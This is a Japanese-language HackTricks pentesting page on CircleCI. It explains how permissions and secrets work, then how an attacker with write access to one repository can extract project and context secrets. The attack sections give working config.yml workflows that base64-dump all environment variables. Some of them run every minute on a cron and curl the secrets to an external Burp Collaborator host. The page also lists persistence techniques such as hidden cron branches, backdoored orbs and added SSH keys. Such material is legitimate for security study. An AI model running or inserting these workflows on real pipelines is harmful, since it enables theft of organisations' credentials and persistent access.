CircleCI Security

HackTricksをサポートする

基本情報

CircleCIは、コードに対して何をいつ行うかを示すテンプレートを定義できる継続的インテグレーションプラットフォームです。このようにして、例えばリポジトリのマスターブランチから直接テストデプロイ自動化できます。

権限

CircleCIは、ログインしているアカウントに関連するgithubおよびbitbucketから権限を継承します。 私のテストでは、githubのリポジトリに対する書き込み権限があれば、CircleCIでのプロジェクト設定を管理できることを確認しました(新しいsshキーの設定、プロジェクトAPIキーの取得、新しいCircleCI設定での新しいブランチの作成など)。

ただし、リポジトリをCircleCIプロジェクトに変換するには、リポジトリ管理者である必要があります。

環境変数と秘密情報

ドキュメントによると、ワークフロー内で環境変数に値をロードする方法はいくつかあります。

組み込み環境変数

CircleCIによって実行されるすべてのコンテナには、CIRCLE_PR_USERNAMECIRCLE_PROJECT_REPONAMECIRCLE_USERNAMEなどのドキュメントに定義された特定の環境変数が常にあります。

プレーンテキスト

コマンド内でプレーンテキストとして宣言できます:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

実行環境内に明示的に宣言できます:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

build-job 環境内に明示的に宣言できます:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

コンテナの環境内にクリアテキストで宣言できます:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

プロジェクトの秘密

これらは秘密であり、プロジェクト任意のブランチ)によってのみアクセス可能です。 これらは https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables宣言されているのを見ることができます。

変数のインポート」機能を使用すると、他のプロジェクトから変数をインポートできます。

コンテキストの秘密

これらは組織全体の秘密です。デフォルトでは、任意のリポジトリがここに保存された任意の秘密アクセスできるようになります:

ただし、異なるグループ(すべてのメンバーの代わりに)を選択して特定の人々にのみ秘密へのアクセスを与えることができます。 これは現在、秘密のセキュリティを向上させるための最良の方法の1つであり、すべての人がアクセスできるのではなく、一部の人だけがアクセスできるようにします。

攻撃

プレーンテキストの秘密を検索

VCS(例えばgithub)にアクセスできる場合は、各リポジトリの各ブランチ.circleci/config.ymlファイルを確認し、そこに保存されている潜在的なプレーンテキストの秘密検索します。

秘密の環境変数とコンテキストの列挙

コードを確認することで、各.circleci/config.ymlファイルで使用されているすべての秘密の名前を見つけることができます。また、これらのファイルからコンテキストの名前を取得するか、ウェブコンソールで確認できます:https://app.circleci.com/settings/organization/github/<org_name>/contexts

プロジェクトの秘密を抽出

すべてのプロジェクトおよびコンテキストの秘密抽出するには、全体のgithub組織内の1つのリポジトリに書き込みアクセスを持っているだけで済みます(そして、あなたのアカウントはコンテキストにアクセスできる必要がありますが、デフォルトでは誰でもすべてのコンテキストにアクセスできます)。

変数のインポート」機能を使用すると、他のプロジェクトから変数をインポートできます。したがって、攻撃者はすべてのリポジトリからすべてのプロジェクト変数をインポートし、その後すべてを一緒に抽出することができます。

すべてのプロジェクトの秘密は常にジョブの環境に設定されているため、envを呼び出してbase64で難読化するだけで、ワークフローのウェブログコンソールに秘密を抽出できます:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

もしウェブコンソールにアクセスできないが、リポジトリにアクセスでき、CircleCIが使用されていることがわかっている場合は、毎分トリガーされるワークフローを作成し、外部アドレスに秘密を流出させることができます:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

コンテキストシークレットの抽出

コンテキスト名を指定する必要があります(これによりプロジェクトシークレットも抽出されます):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

もしウェブコンソールにアクセスできないが、リポジトリにアクセスでき、CircleCIが使用されていることがわかっている場合、毎分トリガーされるワークフロー修正して、外部アドレスに秘密を流出させることができます:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

新しい .circleci/config.yml をリポジトリに作成するだけでは circleci ビルドをトリガーするには不十分ですcircleci コンソールでプロジェクトとして有効にする必要があります

クラウドへのエスケープ

CircleCIビルドを自分のマシンまたは彼らのマシンで実行するオプションを提供します。 デフォルトでは、彼らのマシンは GCP にあり、最初は関連する情報を見つけることはできません。しかし、もし被害者が 自分のマシン(潜在的にはクラウド環境で)でタスクを実行している場合興味深い情報が含まれたクラウドメタデータエンドポイントを見つけるかもしれません

前の例ではすべてが docker コンテナ内で起動されましたが、VM マシンを起動するように要求することもできます(異なるクラウド権限を持つ場合があります):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

リモートDockerサービスへのアクセスを持つDockerコンテナでも:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistence

  • CircleCIでユーザートークンを作成して、ユーザーのアクセスでAPIエンドポイントにアクセスすることが可能です。

  • https://app.circleci.com/settings/user/tokens

  • プロジェクトトークンを作成して、トークンに与えられた権限でプロジェクトにアクセスすることが可能です。

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • プロジェクトにSSHキーを追加することが可能です。

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • 予期しないプロジェクトの隠れたブランチにcronジョブを作成して、毎日すべてのコンテキスト環境変数を漏洩させることが可能です。

  • あるいは、ブランチで作成または既知のジョブを修正して、毎日すべてのコンテキストとプロジェクトの秘密漏洩させることもできます。

  • GitHubのオーナーであれば、未確認のオーブを許可し、ジョブにバックドアとして設定することができます。

  • 一部のタスクでコマンドインジェクションの脆弱性を見つけ、秘密の値を変更することでコマンドを注入することができます。

Support HackTricks

Last updated